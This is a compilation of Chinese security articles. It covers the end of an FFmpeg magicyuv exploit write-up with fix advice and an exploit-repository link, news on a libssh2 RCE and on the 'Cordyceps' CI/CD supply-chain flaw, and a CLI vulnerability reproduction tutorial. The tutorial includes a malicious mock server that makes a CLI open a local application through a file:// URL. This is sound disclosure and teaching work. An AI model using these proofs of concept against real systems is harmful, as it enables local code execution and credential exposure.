||||
在 x86_64 上，-O2
|
||||
和 -O0 -g
|
||||
两种编译下 AVBuffer 恰好都落在 OOB+256 附近，是 glibc 在该架构上特定分配顺序的结果，不是设计保证。
|
||||
|
||||
要将 exploit 移植到 aarch64，需要先在 aarch64 上分析堆布局，确定 AVBuffer 相对于 Cb_data 的实际位置，再调整帧几何参数（例如加宽 WIDTH 以增大 OOB 写入窗口），使 OOB 写入能够覆盖到 AVBuffer 所在位置。这是独立的移植工作。
|
||||
## 9. 修复建议
|
||||
|
||||
漏洞根源是 dst
|
||||
指针用 sheight
|
||||
（未截断的标准高度）计算偏移，而写入循环用 height
|
||||
（截断后的实际高度）控制行数，两者不一致。
|
||||
|
||||
**推荐修复（修改 dst 计算方式）**
|
||||
：
|
||||
```
|
||||
// 修复前（magicyuv.c:287）dst = p->data[i] + j * sheight * stride;// 修复后：在写入前验证 dst 不超出缓冲区边界if (dst + (ptrdiff_t)height * stride > p->data[i] + buf_allocated_size) return AVERROR_INVALIDDATA;
|
||||
```
|
||||
|
||||
或者在分配缓冲区时以 sheight
|
||||
而非 height
|
||||
计算大小，确保 dst
|
||||
跳到第 j 个 slice 时不会越界。
|
||||
|
||||
**替代方案**
|
||||
：在 magy_decode_init()
|
||||
的几何参数校验阶段，检查 slice_height
|
||||
与 coded_height
|
||||
的组合是否会导致最后一个 slice 的 sheight > height
|
||||
，如果是则拒绝处理。这是更早的防线，不依赖逐帧检查。
|
||||
## 10. EXP项目地址
|
||||
|
||||
https://github.com/Y5neKO/CVE-2026-8461-EXP
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
# Libssh2 严重漏洞可导致攻击者执行远程代码
|
||||
Abinaya
|
||||
Abinaya 代码卫士 2026-06-24 09:06
|
||||
|
||||
|
||||
|
||||
聚焦源代码安全，网罗国内外最新资讯！
|
||||
|
||||
**编译：代码卫士**
|
||||
|
||||
****
|
||||
**广泛使用的libssh2库中存在一个严重的整数溢出转缓冲区溢出漏洞CVE-2026-55200（CVSS评分9.2），可导致远程攻击者通过特殊构造的SSH数据包执行任意代码。该漏洞影响所有使用libssh2 1.11.1及更早版本的应用和系统。由于libssh2广泛嵌入在SSH客户端、自动化框架和文件传输工具中，其影响范围覆盖企业环境、云服务和嵌入式系统。**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
该漏洞于2026年6月17日披露，影响libssh2 1.11.1及更早版本，已在提交7acf3df中修复，官方补丁可通过项目的GitHub仓库获取。该漏洞存在于ssh2_transport_read()函数中，而该函数未能正确验证传入SSH数据包中的packet_length字段。由于缺少上限检查，攻击者可以提供异常大的packet_length值，触发整数溢出，导致堆越界写入。这种内存破坏条件允许攻击者覆盖相邻的内存结构，可能无需认证即可实现完全远程代码执行。由于攻击向量基于网络且无需用户交互，被利用的风险很高。成功利用该漏洞可能导致在受影响系统上实现远程代码执行，使攻击者能控制存在漏洞的应用程序。
|
||||
|
||||
VulnCheck发布安全公告提到，该漏洞可能导致堆内存损坏，引发崩溃、拒绝服务条件，并可能使使用libssh2进行安全通信的系统完全受损。CVSS v4向量反映了攻击复杂度低，以及对机密性、完整性和可用性的高影响。安全研究员Tristan Madani负责任地披露了该漏洞，从而能够在漏洞遭大规模利用之前协调修复。
|
||||
|
||||
该漏洞已在提交97acf3dfda80c91c3a8c9f2372546301d4a1a7a8引入的补丁中修复，该补丁对packet_length值实施了严格验证，以防止整数溢出和缓冲区溢出。强烈建议组织尽快将libssh2升级到已打补丁的版本。此外，安全团队应审查系统中静态链接或捆绑的libssh2版本，监控SSH流量中是否存在异常情况（如异常大的数据包大小），并在无法立即打补丁的情况下实施网络层控制措施。
|
||||
|
||||
|
||||
开源
|
||||
卫士试用地址：
|
||||
https://oss.qianxin.com/#/login
|
||||
|
||||
代码卫士试用地址：https://sast.qianxin.com/#/login
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**推荐阅读**
|
||||
|
||||
[Libssh CVE-2018-10933 扫描器和利用代码已发布，请尽快更新](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247488312&idx=3&sn=baf3ad7714b66b6a6b0394c75af295cb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[NGINX 新漏洞可导致远程攻击者触发恶意代码](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526088&idx=3&sn=353fe1e4d9d79dec6b4cce44a35da5fe&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Comet Backup 服务器严重漏洞可导致客户数据被远程泄露](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526149&idx=2&sn=58f20be37a8c71d4f0e7d16aa1e8f1b5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[已存在13年的Apache ActiveMQ 严重漏洞可用于远程执行命令](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525686&idx=1&sn=51e7e391e06000c6fad494187241de39&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**原文链接**
|
||||
|
||||
https://cybersecuritynews.com/libssh2-vulnerability/
|
||||
|
||||
|
||||
题图：Pixa
|
||||
bay Licens
|
||||
e
|
||||
|
||||
|
||||
**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**奇安信代码卫士 (codesafe)**
|
||||
|
||||
国内首个专注于软件开发安全的产品线。
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
|
||||
觉得不错，就点个 “
|
||||
在看
|
||||
” 或 "
|
||||
赞
|
||||
” 吧~
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
# “冬虫夏草”供应链漏洞影响数千家组织机构的代码仓库
|
||||
代码卫士 2026-06-24 09:06
|
||||
|
||||
|
||||
|
||||
|
||||
聚焦源代码安全，网罗国内外最新资讯！
|
||||
|
||||
|
||||
作者：
|
||||
Tushar Subhra Dutta
|
||||
|
||||
编译：代码卫士
|
||||
|
||||
|
||||
|
||||
|
||||
专栏·供应链安全
|
||||
|
||||
|
||||
数字化时代，软件无处不在。软件如同社会中的“虚拟人”，已经成为支撑社会正常运转的最基本元素之一，软件的安全性问题也正在成为当今社会的根本性、基础性问题。
|
||||
|
||||
|
||||
随着软件产业的快速发展，软件供应链也越发复杂多元，复杂的软件供应链会引入一系列的安全问题，导致信息系统的整体安全防护难度越来越大。近年来，针对软件供应链的安全攻击事件一直呈快速增长态势，造成的危害也越来越严重。
|
||||
|
||||
|
||||
为此，我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯，分析供应链安全风险，提供缓解建议，为供应链安全保驾护航。
|
||||
|
||||
|
||||
注：以往发布的部分供应链安全相关内容，请见文末“推荐阅读”部分。
|
||||
|
||||
**Novee****公司的研究人员发现了一个被称为 “冬虫夏草 (Cordyceps)”供应链漏洞，使成千上万的组织机构面临严重风险。该漏洞以寄生真菌“冬虫夏草”命名，它会悄无声息地钻入软件开发流水线，使攻击者能够完全控制全球一些最大公司的代码仓库。**
|
||||
|
||||
这些CI/CD工作流会运行shell命令、持有签名密钥、向云提供商进行身份验证并发布版本。然而，它们被广泛视为简单的配置文件，而非安全关键型代码。而这种认知上的差距正是“冬虫夏草”漏洞所利用的。
|
||||
|
||||
研究人员在开源供应链中识别出了这一系统性的可利用漏洞类别，发现了GitHub Actions工作流中的命令注入、认证逻辑缺陷、制品投毒链和权限提升等模式。研究团队扫描了约3万个高影响力仓库，并确认了数百个完全可利用的攻击链。
|
||||
|
||||
|
||||
|
||||
|
||||
**极易利用**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这一发现令人担忧的不仅是漏洞的技术深度，还有其易用性。任何拥有免费GitHub账户的人都可以利用它，无需特殊权限或组织成员资格。
|
||||
|
||||
只需一个拉取请求，甚至一个评论，就足以触发攻击链，让外部人员完全控制项目的构建流水线。其下游影响范围巨大。当一个被入侵的仓库供应着数千个组织机构所依赖的软件时，一次攻击就可能波及银行、云环境、AI实验室和终端用户设备。包括微软、谷歌、Apache、Cloudflare和Python软件基金会在内的主要组织已确认修复了该漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
**“冬虫夏草”供应链漏洞**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
“冬虫夏草”最危险的一面在于它如何隐藏于无形之中。攻击链是多步骤的，这意味着没有任何单一环节本身看起来是危险的。一个不受信任的拉取请求会触发一个低权限工作流，其输出流入一个高权限工作流，然后该工作流以最高权限向云环境进行身份验证。每一步看起来都很正常，但组合起来就形成了一条通往完全控制的清晰路径。这正是该漏洞难以被传统安全扫描器发现的原因。
|
||||
|
||||
标准工具会检查单个文件中的已知模式，但“冬虫夏草”的风险仅存在于多个工作流之间的交互方式中。扫描器看到的是有效的YAML配置，而攻击者看到的是一条通往永久凭证访问权限的四步攻击链。
|
||||
|
||||
研究人员确认有超过300个仓库完全可利用。在微软的Azure Sentinel中，对拉取请求的一条评论就足以让攻击者窃取一个永不过期的GitHub App密钥。对于谷歌的AI Agent开发套件，一个拉取请求就能让攻击者获得最高的Google Cloud角色。在Apache的Doris中，确认了两条零点击攻击路径，都导致凭证窃取和直接代码修改权限。
|
||||
|
||||
|
||||
|
||||
**AI正在大规模加剧问题的严重性**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
“冬虫夏草”漏洞研究中最令人不安的发现之一是AI编码助手在传播该漏洞中所扮演的角色。随着开发人员越来越依赖AI工具快速生成CI/CD配置文件，这些工具会反复生成相同的不安全模式。结果是同一类漏洞被悄悄植入可能数以百万计的仓库中。研究团队提取了npm、PyPI、crates和Go生态系统的数据，在一次扫描中就标记了654个仓库。已证实的影响覆盖了完整的构建和发布流水线，涉及从代码推送到受保护分支，再到AWS、GCP和Netlify上的凭证窃取等各个方面。
|
||||
|
||||
在GitHub上运行软件或依赖此类开源项目的组织被敦促评估其风险敞口。一旦识别出问题，修复方法其实很直接。安全团队应以与应用程序代码同等的严谨度对待工作流代码，进行跨工作流审计，并确保低权限与高权限工作流之间的信任边界不能被拉取请求标题、分支名称或评论内容等不受信任的输入所跨越。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
开源
|
||||
卫士试用地址：
|
||||
https://sast.qianxin.com/#/login
|
||||
|
||||
代码卫士试用地址：
|
||||
https://codesafe.qianxin.com
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**推荐阅读**
|
||||
|
||||
[在线阅读版：《2025中国软件供应链安全分析报告》全文](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523516&idx=1&sn=0b6fc53ba92e7b5135395b67fff6a822&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[多家网络安全公司受 Klue 供应链攻击影响](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526334&idx=2&sn=d4abea93a1ec375ff30540cc905667d5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[GitHub 推出 npm 安全变更，对抗供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526263&idx=2&sn=c680ad4854702c179a3070ca44d72c78&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[最新软件供应链事件概览：Red Hat npm 包遭劫持；投毒 Claude Code；OpenAI Codex 认证令牌被盗](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526103&idx=1&sn=5bb0348b6f36ac8d144547cea211d8bd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[TrapDoor 供应链攻击通过 npm、PyPI 和 CratesIO 传播凭据窃取恶意软件](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526103&idx=1&sn=5bb0348b6f36ac8d144547cea211d8bd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[自动化供应链攻击6小时内攻陷5561个 GitHub 仓库](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526078&idx=2&sn=23c01cd3ffaa8a2a7421ffb9fe242d2a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[GitHub 被黑或因员工安装 Nx Console 恶意扩展引发，更多详情待调查](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526078&idx=2&sn=23c01cd3ffaa8a2a7421ffb9fe242d2a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[GitHub 内部仓库疑遭未授权访问，TeamPCP 据称正在出售 GitHub 内部源代码](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526060&idx=1&sn=63894334faf0814e075ab85697c75a66&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[奇安信Qcode Agents重磅升级，正式解锁操作系统级漏洞挖掘能力](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526078&idx=2&sn=23c01cd3ffaa8a2a7421ffb9fe242d2a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Grafana 令牌被盗，GitHub 环境可遭访问且代码库被下载](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526043&idx=2&sn=ef8599cf70e02716369d0205be9be468&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[TeamPCP再发动供应链攻击；数百个恶意包被上传，RubyGems 暂停新账号注册](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525995&idx=3&sn=e59f7d088b3f4113b18c149ac6e505c3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Checkmarx 再遭攻击，Jenkins AST 插件受陷](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525972&idx=1&sn=b93bcffc7c3ad4c106fbd39a4ee2218e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Go 流行库 fsnotify 的维护人员访问权限变更，拉响供应链攻击警报](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525972&idx=2&sn=26ec27a2c831c25b913ce2dfb5658469&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Gemini CLI 严重漏洞可触发 RCE 攻击和软件供应链风险](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525887&idx=1&sn=294cc8c49080c6239db19c1f8525457e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[自传播供应链蠕虫劫持 npm 包，窃取开发人员令牌](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525844&idx=2&sn=3f396c2336c086719e62350cd61cd2bb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Axios 严重漏洞可导致 RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525768&idx=2&sn=b8967ced3022f4f88a311a652e635650&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Trivy供应链攻击触发CanisterWorm 在47个 npm 包中自传播](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525520&idx=2&sn=b3d4dddc586c4b0aa8cefb09c0344cb8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[热门包管理器中存在多个漏洞，JavaScript 生态系统易受供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524984&idx=1&sn=19aef4ce8e288278782458e430a710d8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[开源自托管平台 Coolify 修复11个严重漏洞，可导致服务器遭完全攻陷](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524828&idx=2&sn=21af241f60f1452013815133745e9a72&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[得不到就毁掉：第二轮Sha1-Hulud供应链攻击已发起，影响2.5万+仓库](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524487&idx=1&sn=f170d3131122071dec6e419c6cff562c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[vLLM 高危漏洞可导致RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524481&idx=3&sn=6d0b161f8add2f6c1ee65e60ef6955d8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[开源AI框架 Ray 的0day已用于攻陷服务器和劫持资源](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519162&idx=1&sn=3872fcc82018e2c561d9e4e7574f0c8e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[热门 React Native NPM 包中存在严重漏洞，开发人员易受攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524330&idx=2&sn=bc54e02a8f815ed78b67d3135a9f9607&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[10个npm包被指窃取 Windows、macOS 和 Linux 系统上的开发者凭据](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524314&idx=2&sn=81cae6998a39f2153ed18d7cc065303b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[热门 React Native NPM 包中存在严重漏洞，开发人员易受攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524330&idx=2&sn=bc54e02a8f815ed78b67d3135a9f9607&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[热门NPM库 “coa” 和“rc” 接连遭劫持，影响全球的 React 管道](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247508946&idx=1&sn=273c58d08a4225306a567cf6a150f40c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[开发人员注意：VSCode 应用市场易被滥用于托管恶意扩展](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247515219&idx=1&sn=faa32338df1d68e7cd738a80222f3a44&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[GitHub Copilot 严重漏洞可导致私有仓库源代码被盗](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524163&idx=1&sn=d70a7c55e27a3e179522330a9ce62b0b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[受 Salesforce 供应链攻击影响，全球汽车巨头 Stellantis 数据遭泄露](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524053&idx=1&sn=2b843932ebd4eeeb17b6935b08be82f8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[捷豹路虎数据遭泄露生产仍未恢复，幕后黑手或与 Salesforce-Salesloft 供应链攻击有关](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523990&idx=1&sn=ad9957a5c3d054d4a0bf32250bceb556&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[十几家安全大厂信息遭泄露，谁是 Salesforce-Salesloft 供应链攻击的下一个受害者？](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523972&idx=1&sn=7b06c31940ea7576d0236d9310886b39&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
**原文链接**
|
||||
|
||||
https://cybersecuritynews.com/cordyceps-supply-chain-flaw-impacting-code-repositories/
|
||||
|
||||
|
||||
|
||||
**本文由奇安信编译，不代表****奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**奇安信代码卫士 (codesafe)**
|
||||
|
||||
国内首个专注于软件开发安全的产品线。
|
||||
|
||||
|
||||
|
||||
|
||||
觉得不错，就点个 “
|
||||
在看
|
||||
” 或 "
|
||||
赞
|
||||
” 吧~
|
||||
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
# 从命令注入到凭据泄露，手把手教你复现命令行工具高危漏洞
|
||||
原创 句芒安全实验室
|
||||
句芒安全实验室 句芒安全实验室 2026-06-24 05:00
|
||||
|
||||
# 从命令注入到凭据泄露，手把手教你复现命令行工具高危漏洞
|
||||
|
||||
在日常的安全测试中，大家往往把目光聚焦在 Web API、微服务或者移动端 App 上。然而，命令行客户端（CLI 工具）作为一个经常拥有本地高权限、直接与系统底层交互的组件，它的安全性往往被开发者所忽略。
|
||||
|
||||
很多研发同学想当然地认为：“CLI 是在用户本地运行的，能有什么安全问题？”
|
||||
|
||||
今天，我们就通过一次真实的 Go 语言 CLI 客户端安全测试实战，手把手带大家看一看 CLI 工具中常见的 3 个高危安全隐患，并分享如何编写 Go 单元测试与 Python Mock 服务进行白盒与黑盒复现。
|
||||
## 一、本地凭据配置文件权限未收敛 (High)
|
||||
### 1. 漏洞成因
|
||||
|
||||
许多 Go 开发者在写入本地配置文件（如 ~/.config/app.yaml
|
||||
）时，习惯使用 Go 标准库的 os.WriteFile(path, data, 0600)
|
||||
，并认为这样就能保证文件只有当前用户可读写。
|
||||
|
||||
但是这里存在一个极其隐蔽的认知误区： 在 Go 语言（以及 Unix/Linux 文件系统行为）中，如果目标文件已经存在，os.WriteFile
|
||||
会直接截断并写入数据，但绝不会去修改文件已有的权限属性。
|
||||
|
||||
如果恶意软件或用户自己先前以较宽松的权限（例如 0644
|
||||
，所有本地用户可读）创建了该文件，CLI 写入敏感的 Access Token 后，该文件依然会保持宽松权限，直接暴露给系统中的其他本地用户。
|
||||
### 2. 漏洞代码示意
|
||||
```
|
||||
// 存在隐患的代码func SaveConfig(path string, cfg Config) error { data, _ := yaml.Marshal(cfg) // 如果 config.yaml 之前存在且权限是 644，写入后它依然是 644 return os.WriteFile(path, data, 0600) }
|
||||
```
|
||||
### 3. 白盒复现测试代码
|
||||
|
||||
我们可以通过编写以下 Go 测试代码来复现这一机制。开发者可以将其直接跑在 Go 环境中：
|
||||
```
|
||||
func TestStoreSaveDoesNotRestrictExistingPermissions(t *testing.T) { t.Parallel()// 在临时目录生成测试配置文件 path := filepath.Join(t.TempDir(), "config_broad.yaml")// 1. 模拟文件被预先创建，并赋予了宽松的 0644 权限（本地全员可读）if err := os.WriteFile(path, []byte(""), 0644); err != nil { t.Fatalf("precreate failed: %v", err) }if err := os.Chmod(path, 0644); err != nil { t.Fatalf("chmod failed: %v", err) }// 2. 调用 CLI 内部的保存逻辑（内部使用 os.WriteFile 并传入 0600） store := NewStore(path) cfg := Config{ServerBaseURL: "https://example.com", AgentToken: "super_secret_token_123"}if err := store.Save(cfg); err != nil { t.Fatalf("save failed: %v", err) }// 3. 检查写入敏感凭据后的权限 info, err := os.Stat(path)if err != nil { t.Fatalf("stat failed: %v", err) }if info.Mode().Perm() == 0644 { t.Log("漏洞验证成功：写入敏感 Token 后，文件权限依然维持宽松的 0644！") } elseif info.Mode().Perm() == 0600 { t.Fatal("权限已被强制收敛（正常安全逻辑）") }}
|
||||
```
|
||||
|
||||
运行该单元测试时的终端输出与漏洞确认截图如下：
|
||||
|
||||
|
||||
|
||||
Go 单元测试确认权限未强制收敛
|
||||
### 4. 修复方案
|
||||
|
||||
在写入文件后，必须显式调用 os.Chmod
|
||||
来强制重置文件权限：
|
||||
```
|
||||
if err := os.WriteFile(s.path, data, 0600); err != nil { return err}return os.Chmod(s.path, 0600) // 显式强制将权限收敛至 0600
|
||||
```
|
||||
## 二、浏览器跳转未校验协议 (Medium/High)
|
||||
### 1. 漏洞成因
|
||||
|
||||
许多 CLI 支持扫码或浏览器 OAuth 登录。CLI 通常会请求云端接口获取一个授权页面 URL，然后调用操作系统的“打开浏览器”接口：
|
||||
- macOS: exec.Command("open", rawURL)
|
||||
|
||||
- Linux: exec.Command("xdg-open", rawURL)
|
||||
|
||||
- Windows: exec.Command("rundll32", "url.dll,FileProtocolHandler", rawURL)
|
||||
|
||||
安全隐患在于：如果 CLI 接收到服务端的 URL 后，未对其 Scheme (协议头) 进行任何校验，就会产生命令/参数注入。 在 macOS 上，open
|
||||
命令可以直接用来启动应用程序或打开本地敏感文件；在 Windows 上，FileProtocolHandler
|
||||
也是同理。如果返回的 URL 被伪造为 file:///System/Applications/Calculator.app
|
||||
，CLI 就会在本地拉起计算器。
|
||||
### 2. 漏洞代码示意
|
||||
```
|
||||
// 存在隐患的代码func OpenBrowser(rawURL string) error { var cmd *exec.Cmd switch runtime.GOOS { case "darwin": cmd = exec.Command("open", rawURL) // 未校验 rawURL 是否为 http/https // ... Windows 和 Linux 类似 } return cmd.Start()}
|
||||
```
|
||||
### 3. 真实二进制文件黑盒复现方法
|
||||
|
||||
如果 CLI 已经是编译好的黑盒二进制文件，我们不需要且无法修改其代码，但可以通过重定向服务端地址到本地 Mock 服务来完成复现：
|
||||
1. **编写 Python 恶意 Mock 服务器 (mock_server.py)**
|
||||
：
|
||||
|
||||
```
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandlerimport jsonclass MockAuthServer(BaseHTTPRequestHandler): def do_GET(self): # 匹配 CLI 请求获取授权链接的 API 路由 if"/api/v1/auth/login/authorize-url"in self.path: self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() # 返回伪造的 file:// 协议，指向 macOS 计算器 payload = { "traceId": "mock-trace-id-123", "data": { "authorizeUrl": "file:///System/Applications/Calculator.app" } } self.wfile.write(json.dumps(payload).encode("utf-8")) else: self.send_response(404) self.end_headers()if __name__ == "__main__": print("恶意 Mock 服务已启动在 http://localhost:18080 ...") server = HTTPServer(("localhost", 18080), MockAuthServer) server.serve_forever()
|
||||
```
|
||||
1. **启动 Mock 服务器并执行 CLI 工具**
|
||||
：
|
||||
|
||||
```
|
||||
# 启动 Mock 服务python3 mock_server.py# 运行已编译的 CLI 登录命令，将请求指向我们的本地 Mock 服务./portal-cli login --base-url http://localhost:18080
|
||||
```
|
||||
|
||||
运行及触发漏洞后的实际截图如下：
|
||||
|
||||
|
||||
|
||||
|
||||
黑盒环境下命令执行触发计算器截图
|
||||
|
||||
在命令行敲击回车的一瞬间，二进制客户端向 Mock 服务端成功获取到了伪造协议链接。由于内部未校验 Scheme，macOS 系统在接收到指令后，瞬间弹出了本地的计算器界面。
|
||||
### 4. 修复方案
|
||||
|
||||
在调用系统底层执行跳转前，使用 net/url
|
||||
对协议头进行强校验，只允许 http
|
||||
和 https
|
||||
协议：
|
||||
```
|
||||
import "net/url"func OpenBrowser(rawURL string) error { parsed, err := url.Parse(rawURL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { return fmt.Errorf("安全拒绝：非法的跳转协议头 %q", parsed.Scheme) } // 校验通过后，再调用系统的 exec.Command
|
||||
```
|
||||
## 三、敏感数据在控制台明文渲染泄露 (Medium/Low)
|
||||
### 1. 漏洞成因
|
||||
|
||||
许多企业在设计安全红线时，要求“严禁在对话或终端历史中明文泄漏身份证号、手机号、家庭住址、银行卡号等敏感个人身份信息（PII）”。 但是在实现 CLI 时，开发人员常常贪图省事，把从后端 API 获取到的 JSON 数据，通过反射或字典遍历，直接生成 Markdown 树状表格输出到控制台。
|
||||
|
||||
这直接导致了研发设计与业务安全红线的背离： 在控制台明文打印敏感信息，不仅会导致本地日志泄露，更容易在现代“大模型 + AI Agent”协作编程的背景下，导致大模型直接将这些敏感信息收集并存储在会话历史或审计日志中。
|
||||
### 2. 修复方案：脱敏拦截层 (Masking Layer)
|
||||
|
||||
在 CLI 的输出格式化组件（例如 Markdown 表格渲染器）中，引入脱敏拦截层。通过正则或字段名检测，将特定敏感字段（如 id_card
|
||||
、phone
|
||||
、address
|
||||
等）进行打码掩码处理：
|
||||
- 手机号脱敏：13812345678
|
||||
-> 138****5678
|
||||
|
||||
- 身份证脱敏：110101199003072345
|
||||
-> 1101***********345
|
||||
|
||||
## 四、总结
|
||||
|
||||
命令行工具（CLI）往往直接暴露在用户的本地系统上，其面临的本地特权攻击面与服务端/客户端信任链破坏的威胁不容小觑。
|
||||
|
||||
作为安全测试人员或研发人员，在面对 CLI 工具时，应重点关注：
|
||||
1. 本地配置与凭据文件的严格读写权限强制控制（通过 os.Chmod
|
||||
闭环）。
|
||||
|
||||
1. 所有调用系统原生命令（如 open
|
||||
、rundll32
|
||||
）的输入参数校验，严防任意协议跳转或命令注入。
|
||||
|
||||
1. 终端输出的敏感数据脱敏，遵循“最小化知悉”与数据合规原则。
|
||||
|
||||
希望这篇实战测试分享能帮大家在开发和测试命令行工具时少踩一些坑。
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
# 信息安全漏洞周报（2026年第25期）
|
||||
原创 CNNVD
|
||||
CNNVD CNNVD安全动态 2026-06-24 07:33
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点击蓝字 关注我们**
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞情况**
|
||||
|
||||
根据国家信息安全漏洞库（CNNVD）统计，本周（2026年6月15日至2026年6月21日）安全漏洞情况如下：
|
||||
|
||||
**公开漏洞情况**
|
||||
|
||||
本周CNNVD采集安全漏洞1804个。
|
||||
|
||||
**接报漏洞情况**
|
||||
|
||||
本周CNNVD接报漏洞4979个，其中信息技术产品漏洞（通用型漏洞）448个，网络信息系统漏洞（事件型漏洞）58个，漏洞平台推送漏洞4473个。
|
||||
|
||||
## 一公开漏洞情况
|
||||
|
||||
|
||||
